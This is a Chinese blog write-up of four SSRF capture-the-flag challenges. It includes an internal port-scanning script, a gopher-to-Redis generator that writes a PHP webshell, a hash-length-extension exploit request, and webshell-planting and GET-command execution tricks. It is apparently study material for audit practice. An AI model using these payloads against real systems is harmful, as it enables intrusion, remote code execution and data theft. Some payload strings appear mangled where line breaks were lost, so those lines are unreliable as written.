ssrf解题记录

ssrf解题记录

  最近工作需要做一些Web的代码审计,而我Web方面还比较薄弱,决定通过一些ctf的题目打打审计基础,练练思维,在博客上准备开几个专题专门记录刷题的过程。

  pwn题最近做的也很少,也要开始做题了。

2020 GKctf:Ezweb

  题目打开如下:

   查看前端页面源码发现hint:get方式提交secret参数。传递secret参数之后发现后端执行了ifconfig命令。

   有了内网ip之后,尝试在输入框输入ip地址,然后发现会对服务器的资源进行请求,请求到资源的结果会显示在页面前端。

   php中常见的请求服务器资源的函数有file_get_content(),curl_exec(),fsockopen(),这些函数都是有可能造成ssrf()的危险函数。题目做到这里的时候,我感觉我打黑盒的经验还很欠缺。

  在url中我们尝试ifconfig中输出的三个ip,发现设置了黑名单过滤了localhost的ip。

  我首先尝试了使用php://filter来读取index.php的源码:

php://filter/read=convert.base64-encode/resource=index.php

  但是页面没有回显,然后我又尝试通过file://伪协议来访问本地文件系统获取index.php的源码。

file://var/www/html/index.php

  发现又是黑名单,但是我第一下没有想到是过滤了"//",我以为是过滤了file伪协议,走了很多弯路,后来看了别人的writeup,又看了php文档,文档中写到了这样的内容:

   "//"被过滤的时候,可以尝试通过"/"和"///"来进行绕过,通过单反斜杠可以绕过黑名单,获取index.php的源码。

  这篇文章中还记录了一些有意思的ssrf的trick:https://www.cnblogs.com/w1hg/p/14363840.html

   审计代码:

<?php
function curl($url){  
    $ch = curl_init();
    // 初始化curl会话
    curl_setopt($ch, CURLOPT_URL, $url);
    // curl_setopt设置curl的选项,CURLOPT_URL返回$url的值
    curl_setopt($ch, CURLOPT_HEADER, 0);
    // CURLOPT_HEADER启用时会将头文件的信息作为数据流输出
    echo curl_exec($ch);
    curl_close($ch);
    # 关闭curl链接
}

if(isset($_GET['submit'])){
        $url = $_GET['url'];
        //echo $url."
";
        if(preg_match('/file://|dict|../|127.0.0.1|localhost/is', $url,$match))
        {
            # 过滤"file://"
            //var_dump($match);
            die('别这样');
        }
        curl($url);
}
if(isset($_GET['secret'])){
    system('ifconfig');
}
?>

  不能使用php://filter来读取文件的原因也找到了。curl_exec()函数支持http://和file://,但是不支持php://filter,所以这里只能通过file://来访问服务器本地文件。

  ifconfig前面其实是给出了内网的网段。ssrf服务器端伪造请求本身就是对于请求的资源没有做出合理的限制,导致通过Web服务器突破了网络边界,从而对内网进行了入侵,现在Web服务器提供了一个url接口,通过curl_exec()来执行资源请求,我们可以借助http服务来实现一个内网主机存活和端口扫描的脚本。或者通过burpsuite intruder直接扫描也可以。

import requests
import time

ports = ['80','6379','3306','8080','8000']
session = requests.session()
C_ip = "10.0.27."    #内网ip网段
for i in range(1,255):
    ip = C_ip + str(i)
    for port in ports:
        url = 'http://4b4cb162-9ccc-447b-9703-8e551f1d89cb.node4.buuoj.cn/index.php?url=%s:%s&submit=1'%(ip,port)
        try:
            res = session.get(url,timeout=3)
            if len(res.text) != 0:
                print(ip,port,'is open')
        except:
            continue

print('Done.')

  测试之后发现内网10.0.27.6这台主机是目标靶机。

  扫描的过程中发现开放了6379端口,6379端口是redis的默认端口,通过ssrf进而攻击内网redis服务也是常见的套路之一。

  ssrf攻击redis服务实现RCE主要的利用有两种,一种是利用header CRLF注入,一种是利用gopher来进行注入。

  https://joner11234.github.io/article/9d7d2c7d.html

    https://blog.chaitin.cn/gopher-attack-surfaces/

  下面两篇文章都讲到了如何利用gopher协议和CRLF注入来拓展ssrf的攻击面,我这里也做一点自己的总结。

  redis协议报文格式如下:

*<参数数量> CR LF
$<参数 1 的字节数量> CR LF
<参数 1 的数据> CR LF
...
$<参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF

  redis协议的是语句是依靠换行符来进行截断的,如果在redis协议报文中构造恶意的" ",我们就可以在其中插入shell语句或者php语句,从而写入文件,通过反弹shell或者phpshell来实现RCE。

  gopher协议是internal早期的一种协议,除了可以返送get和post请求之外,还可以访问redis,ftp等其他端口(这些端口一般又只在内网开放,这种情况下,利用gopher协议就可以极大地拓展攻击面)。

  可以利用一个工具来生成gopher协议的payload:Gopherus

  或者利用其他师傅写的一个脚本专门生成phpshell:

import urllib
protocol="gopher://"
ip="10.0.27.6"      
port="6379"
#shell="

<?php system("cat /flag");?>

"
shell="

<?php system($_GET['cmd']);?>"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="
"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print(payload)

De1ctf 2019:ssrfMe

  一道python的ssrf题目,题目给出了源码app.py,审计源码:

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)
# 生成16位随机数secert_key

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)
        # 每个ip创建一个文件夹

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
        # 检查sign是否生成
        # geneSign路由生成key,在Task.exec()方法调用前需要先访问geneSign路由
        # 这里利用到哈希拓展攻击
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                # action中存在"scan"时,写入临时文件result.txt
                resp = scan(self.param)
                # scan函数中存在向url请求读入资源的操作
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print(resp)
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
                # 网页状态码修改为200
            if "read" in self.action:
                # 如果action中存在"read"字段时,从临时文件中读取内容写入result
                f = open("./%s/result.txt" % self.sandbox, 'r')
                # 闭合格式化字符串读取文件?
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

# generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    # param=>get传参进行,unquote进行解码
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    # 获取访问ip
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    # action = scan
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()
    # 读取code.txt的值并返回

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    # scan函数中存在向其他url请求资源的情况
    # urlopen(param),param参数为不可信输入,且未经处理到达污染汇聚点
    # 题目中提示./flag.txt,直接访问本地文件任意文件读
    except:
        return "Connection Timeout"

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()
    # 计算secert_key,param,action的和的md5值
    # secret_key不可控,param是data,action是contral_data,./De1ta路由中param和action都是可控的
    # 哈希拓展攻击的场景:
    # 1.准备了一个密文和一些数据构造成一个字符串里,并且使用了MD5之类的哈希函数生成了一个哈希值(也就是所谓的signature/签名)
    # 2.让攻击者可以提交数据以及哈希值,虽然攻击者不知道密文
    # 3.服务器把提交的数据跟密文构造成字符串,并经过哈希后判断是否等同于提交上来的哈希值
    # {secret,data,control_data}

def md5(content):
    return hashlib.md5(content).hexdigest()

def waf(param):
    check=param.strip().lower()
    # 去除空字符并且全部小写
    if check.startswith("gopher") or check.startswith("file"):
    # startswith:如果字符串以指定的prefix开头,返回true
    # param函数的开头禁用了gopher协议和file协议,实际上是限制对内网资源的访问
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

  源码中有三个路由,三个路由对应的功能做一个分析:

  1."./":将源代码返回在前端页面上;

  2."./geneSign":首先生成了16位的随机数secret_key,然后与param和action参数的值进行拼接,返回字符串的md5值;

  3."./De1ta":首先赋值变量,然后调用waf函数检查param中是否存在特定的字符串,然后实例化Task类并且调用Exec方法。Exec方法中首先调用checkSign函数检查cookie中的sign与(secret_key+param+action)返回的md5值是否相等,如果相等的话检查action参数中是否存在"scan"字符串,如果存在"scan"字符串的话,调用open函数打开tmpfile,调用scan函数获取url资源并且写入文件。在调用scan函数的过程中,没有对要获取的资源做出限制,造成ssrf漏洞。如果action参数中存在"read"字符串的话,打开tmpfile并且读入tmpfile的值到result['data']中,最后返回result。

  题目给出了提示,flag在“./flag.txt”中。首先访问"./geneSign"路由,param参数的值为"./flag.txt",action变量的值是硬编码的,此时生成一个sign。

  然后需要了解一下哈希拓展攻击:https://www.cnblogs.com/pcat/p/5478509.html

  这个场景就是一个很明显的哈希拓展攻击的场景,由于在Exec方法中,param参数和action参数我们都是可控的,哈希拓展攻击使用到的工具是hashpump,具体使用方法如图所示:

   Input Signature表示的是初始的哈希值,Input Data是最初contral_data的值,Input Key Length是secret_key和data字符串的长度和,Input Data是contral_data中新添加内容的值。

  最终后面生成的是第二次要输入的哈希值和最终的contral_data。写一个简单的requests脚本发送数据包:

import requests
import hashlib
import hashpumpy

url = 'http://f9552bae-8ce4-4ca5-9bc4-e435d7f197dc.node4.buuoj.cn/De1ta'
param = '?param=flag.txt'
payload = url + param
cookies = {"sign":"2cbc83f4b2c2b2f994125f37facbf0b4",
        "action":"scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read"}
r = requests.get(payload,cookies=cookies)
print(r.text)

  

   这道题看别的师傅的writeup还有一种简便的做法,思路比较巧妙:

  既然两次都是字符串拼接,那在geneSign路由中param=flag.txtread,action=scan,拼接的结果是"flag.txtreadscan",在De1ta路由中,param=flag.txt,action=readscan,拼接的结果是"flag.txtreadscan",依然可以绕过校验。

 N1book:ssrf Training

  打开界面如下,challege.php提供了源码:

<?php 
highlight_file(__FILE__);
function check_inner_ip($url) 
{ 
    $match_result=preg_match('/^(http|https)?://.*(/)?.*$/',$url);
    if (!$match_result) 
    { 
        die('url fomat error');
    } 
    # 通过正则表达式限制url访问的协议,url中只允许http协议和https协议
    try 
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e) 
    { 
        die('url fomat error'); 
        return false; 
    } 
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip); 
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 
}

function safe_request_url($url) 
{ 
     
    if (check_inner_ip($url)) 
    # 限制访问内网ip
    { 
        echo $url.' is inner ip';
    } 
    else 
    {
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        # 将curl_exec获取的信息以字符串返回,而不直接输出
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        $output = curl_exec($ch); 
        $result_info = curl_getinfo($ch); 
        # 获取传输的信息
        if ($result_info['redirect_url']) 
        # 如果存在重定向
        { 
            safe_request_url($result_info['redirect_url']); 
        } 
        curl_close($ch);
        var_dump($output);
    } 
} 

$url = $_GET['url']; 
if(!empty($url)){ 
    safe_request_url($url); 
} 

?> 

  通过正则限制了url格式,白名单只允许http和https两个协议访问。题目提示了flag.php,输入url直接文件读即可:

hitcon2017 ssrfme

  题目给出源码,审计一下:

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        # HTTP_X_FORWARDED_FOR,返回x_forwarded_for
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        # 返回以","分割的数组
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    # $_SERVER["REMOTE_ADDR"]可控
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    # escapeshellarg把字符转码为可以在shell中使用的参数
    # 请求url资源
    # vps上保存hack.php
    $info = pathinfo($_GET["filename"]);
    # pathinfo以数组的形式返回文件路径
    # dirname,basename(文件名全名),extension(拓展名),filename(文件名)
    # 控制filename 要实现任意文件写需要突破目录限制
    $dir  = str_replace(".", "", basename($info["dirname"]));
    # 输出当前目录
    @mkdir($dir);
    @chdir($dir);
    # 进入目录: ./sandbox/md5_hash/dir
    @file_put_contents(basename($info["basename"]), $data);
    # 文件中写入从url中获取的资源
    highlight_file(__FILE__);
    # phpshell需要绕过目录限制
?>

   可以看到,源码中实现了通过shell_exec调用GET命令来请求url资源,并且将请求到的内容写入本地文件的操作,如果我们把webshell放在vps上,然后GET发起请求并且写入文件的话,就可以把webshell写入到本地文件中去。但是写入的文件目录是有限制的,以我开始的想法,这道题目的意思就是想办法绕过目录限制写入webshell来rce。

  感觉比较难办的是basename,查阅文档有如下注释。

   这样一来,似乎只能在sanbox目录下写入文件了,如果是在根目录下,好像没办法传Webshell。

  开始我以为sanbox是根目录下的目录,后来仔细一看是相对路径,是在/var/www/html目录下的,那这个好办了,我在我的vps上先写好马,然后直接写入到相应目录下用蚁剑直接连接即可。

 

   蚁剑连接后,根目录下可以看到flag和readflag,执行readflag就可以读出文件。

 

预期解

  题解中解法主要是考察GET命令执行。

  GET是linux一个内置的命令,用来发送get请求,GET命令支持file协议,也就是说可以读取文件和目录结构。同时,只要构造文件名(使文件名为命令加管道符的结构),在文件存在的情况下,GET也可以通过调用perl中open函数实现命令执行的目的。

   然后访问111这个文件就可以看到根目录结构。

   然后创建命令执行的文件

 

   将file协议访问文件的内容保存到flag文件中去。

   访问文件,获取flag。

 

 

  

  

  

   

 

  

  

 

原文地址:https://www.cnblogs.com/L0g4n-blog/p/15031080.html